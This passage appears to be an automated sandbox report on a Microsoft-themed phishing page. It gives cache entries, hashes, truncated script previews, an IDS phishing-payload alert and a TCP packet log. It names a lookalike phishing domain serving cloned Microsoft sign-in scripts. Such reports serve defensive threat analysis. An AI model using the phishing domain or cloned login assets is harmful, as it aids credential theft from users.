Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7960), with no line terminators
Category:	dropped
Size (bytes):	7960
Entropy (8bit):	5.772628254963338
Encrypted:	false
SSDEEP:	192:7aZgJUTvEhkndyK4mN/DMEqQ3Q/DdfIH/i:e0W8h6dyK4mN/DMtyfi
MD5:	AA9DFD4E8F89119E4BE31A1DD7360FDA
SHA1:	6BB39CC08C16632A708CD5531DD56CDD3756D70D
SHA-256:	80707ADDB1E400294A8B15C00C79A77ECF580FBB846ACE38CF07D3849A15D33D
SHA-512:	7E892DB97CE76B76B3BFF9A50BE2B29377D5BF78E4823A4C029A5EADB70B8C33B9072912A3D80B84CE363AD46119FE68C3CEAD41F6469D41D8C26A22D9361363
Malicious:	false
Reputation:	low
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,f,g,l,m,n,x,y){V=b,function(c,d,U,B,C){for(U=b,B=c();!![];)try{if(C=-parseInt(U(150))/1(parseInt(U(238))/2)+-parseInt(U(180))/3+-parseInt(U(149))/4+-parseInt(U(145))/5(parseInt(U(151))/6)+parseInt(U(204))/7+-parseInt(U(222))/8+parseInt(U(203))/9,d===C)break;else B.push(B.shift())}catch(D){B.push(B.shift())}}(a,659042),f=this\|\|self,g=f[V(224)],l=function(a0,d,B,C){return a0=V,d=String[a0(206)],B={'h':function(D){return D==null?'':B.g(D,6,function(E,a1){return a1=b,a1(229)[a1(153)](E)})},'g':function(D,E,F,a2,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(a2=a0,D==null)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[a2(195)];Q+=1)if(R=D[a2(153)](Q),Object[a2(167)][a2(155)][a2(166)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(167)][a2(155)][a2(166)](H,S))J=S;else{if(Object[a2(167)][a2(155)][a2(166)](I,J)){if(256>J[a2(214)](0)){for(G=0;G<M;O<<=1,P==E-1?(P=0,N[a2(148)](F(O)),O=0):P++,G++);for(T=J[a2(214)](0),G=0;8>G;O=1.61&T\|O<<1,E-1==P?(P=0,N[a2(148)

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32002)
Category:	dropped
Size (bytes):	43235
Entropy (8bit):	5.403375350187382
Encrypted:	false
SSDEEP:	768:L2SEQOfl7fuFi1tDfrKKvU9KNa3DRhDuNq+J/Png3l88zkcSS7cgTPRUbx3Tg/q1:pti1tDfrKKvU9KNa3DRhDug+J/Png18D
MD5:	FA18DC190C5F6455340B0CDB2DA083A9
SHA1:	7ADE83BA171ABEE5803D093CCA708D45954EB4FA
SHA-256:	A423AC7E2310BC44A1DEFEB1F6DF180CAB8A59442E7F41D093F21649FCC86E69
SHA-512:	10025A85B1659DA9750C06286011790A4816AA7CC7A8DA98C8CD42F4EE25B61BFC879C446ABA98D0F8511875DD4DB1E039B5992AE0B5C3FA372012CC0A9205FA
Malicious:	false
Reputation:	low
Preview:	!function(e){function o(i){if(n[i])return n[i].exports;var t=n[i]={exports:{},id:i,loaded:!1};return e[i].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var n={};return o.m=e,o.c=n,o.p="",o(0)}([function(e,o,n){n(2);var i=n(1),t=n(4),r=n(5),a=r.StringsVariantId,s=r.AllowedIdentitiesType;i.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var n=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(n,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 141803
Category:	downloaded
Size (bytes):	49798
Entropy (8bit):	7.994487787044577
Encrypted:	true
SSDEEP:	768:B2sqLWaZ4ZBg9or124xTx/2bZK7sMoMEsTOSYSBlQpkbILD2HswVD5KVB7UE3Bd:AKS4Y9Az2bhlMO3SS+MeDQBAABd
MD5:	958EE3414979B72E04E61F10ADE44C80
SHA1:	355FA38C1593BE8CED09B8C6656F28A2CCD1692D
SHA-256:	8FC0A13E838EAB447C76FE18A907E4EB69C923E2DD35174F08DA7ECC28C5042F
SHA-512:	82B4714313B5F3B180F966786C0B722FCAF65EE3F5BA9DD4E452045C01CE1272E98D2CDB1EFF3B70D52165D52FC6920024A56B378136F4C0917410F5797695C5
Malicious:	false
Reputation:	low
URL:	https://3555af0f-b98cbfac.signform.us/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js
Preview:	...........m[.8.0........OL.......... .........t.....@.o?."...=..:_.y!.T..RU..T...Z...O.....28.W..._...+.....I..p.........w~\...Q........0...(..a.&".....w'.q..W.;Q.F..b....'Ph(&.c...E^......Y............gx.KA..#Qq..j..K...,.DTy..Gw.c...q8N.....>.. =....F....2....Q...R...g..1.C..\|..SG./t......t....5"...oC%.+..L.>...V.o.1}.....l..s.E.M.L!.G.BV.m...)....m...r.9.8.6..^.....Tt.\.....U.q.N.b.cK.?...+2.T...U.#.T[...Zcs..49..I....~.'w.a=.o.e.Y....C.F. .[.y.?Y.#.G.3.r:.BK......(..F.T.B.FA....!>98..o...d}e<.F..0_.s%.&..F..7..Vd.Nr..\.i^[..f..u'......&w..V3#.........T....T......J....>....Vd........>..wU\|....>8..6 ......U.Z.TY........j.....;..j.9..w.8..Us.;...yi.y'..X....2.6#.....u W..C..Lr^\|;.&.J....\|.....&....X.o...Yidi.O..Z..~.V...E..#KZKJ8..Co..n.8.........!....9..D...XRge.X.MP.&.3....Se...b25v..N.a...'......c.i...9...l..Z.`.F.._%>U.'.."..;.N......D$.}..~\|....u...ma%f:\......p..jy.<.r..#jG.N...{{}M_oEr0!...\|>woO.{Q5..0....D).(...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.137537511266052
Encrypted:	false
SSDEEP:	3:fXFi/nYn:fFiwn
MD5:	C63BBD329146AA451DFCD7D4CD572DF5
SHA1:	6DEFC8FED9CD924EF3946AB5A64C472C0D998E8D
SHA-256:	22993D2C8488DBF170D5C18CD16A5F40539C17AADBF97BA58360EFB296539335
SHA-512:	6761D9A9D727820775BE3647BFB5BBC4A61D0E631E2D8C7CB7D4DC39B1BBB9585C7B570A9EB1BD62D4BC8E5EF64AE1DA233C342B83A9A116E0309A10C67AD64B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkKRyfy3chnyhIFDQGlaXISBQ1lIZnq?alt=proto
Preview:	ChIKBw0BpWlyGgAKBw1lIZnqGgA=

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T08:18:46.030460+0200	2857090	ETPRO PHISHING JS/PsyduckPockeball Payload Inbound	1	206.206.125.198	443	192.168.2.5	49751	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 08:18:26.146647930 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:26.146894932 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:26.271615982 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:34.492944002 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.492986917 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.493069887 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.493321896 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.493330002 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.493388891 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.494159937 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.494174004 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.494604111 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.494612932 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.975075006 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.980850935 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.981061935 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.981086016 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.981183052 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.981190920 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.982115984 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.982156038 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:34.982177973 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:34.982223988 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.018865108 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.018980026 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.019710064 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.019783020 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.020406008 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.020421982 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.063081026 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.063102961 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.063134909 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.108928919 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.448358059 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448452950 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448509932 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448509932 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.448534966 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448556900 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448592901 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.448601007 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.448646069 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.459199905 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:35.459254980 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:35.459321022 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:35.459537029 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:35.459548950 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:35.560579062 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.560622931 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.560842037 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.560866117 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.561191082 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.561208010 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.561244965 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.561254025 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.561296940 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.563915968 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.563958883 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564006090 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.564012051 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564356089 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564400911 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.564407110 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564830065 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564879894 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.564884901 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564929008 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.564974070 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.565085888 CEST	49709	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.565099001 CEST	443	49709	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.587562084 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.590734959 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.590781927 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.590861082 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.591037989 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.591052055 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.635406017 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.747437954 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:35.747972012 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:35.876302004 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:35.937907934 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:35.978095055 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.978173971 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:35.978266001 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:35.986253023 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.047283888 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.098252058 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.239725113 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.239752054 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.240324020 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.240581989 CEST	49710	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.240613937 CEST	443	49710	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.241825104 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.241842031 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.243046999 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.243105888 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.245937109 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.246014118 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.263823986 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.269376040 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.269493103 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.269871950 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.269887924 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.275779009 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.275823116 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.275880098 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.278796911 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.278811932 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.309317112 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.311393976 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.365528107 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.365587950 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.365629911 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.368168116 CEST	49715	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.368190050 CEST	443	49715	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.373033047 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.373069048 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.373132944 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.374022961 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.374058962 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.397845984 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.397917032 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.397964001 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.398545980 CEST	49713	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.398554087 CEST	443	49713	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.400902033 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.400943995 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.401005983 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.401823997 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.401848078 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.617077112 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:36.617110968 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:36.617176056 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:36.618246078 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:36.618259907 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:36.765957117 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.766622066 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.766647100 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.767122030 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.768196106 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.768271923 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.768409967 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.815398932 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.853712082 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.854490042 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.854517937 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.854855061 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.854893923 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.855887890 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.855952024 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.856425047 CEST	49719	443	192.168.2.5	35.190.80.1
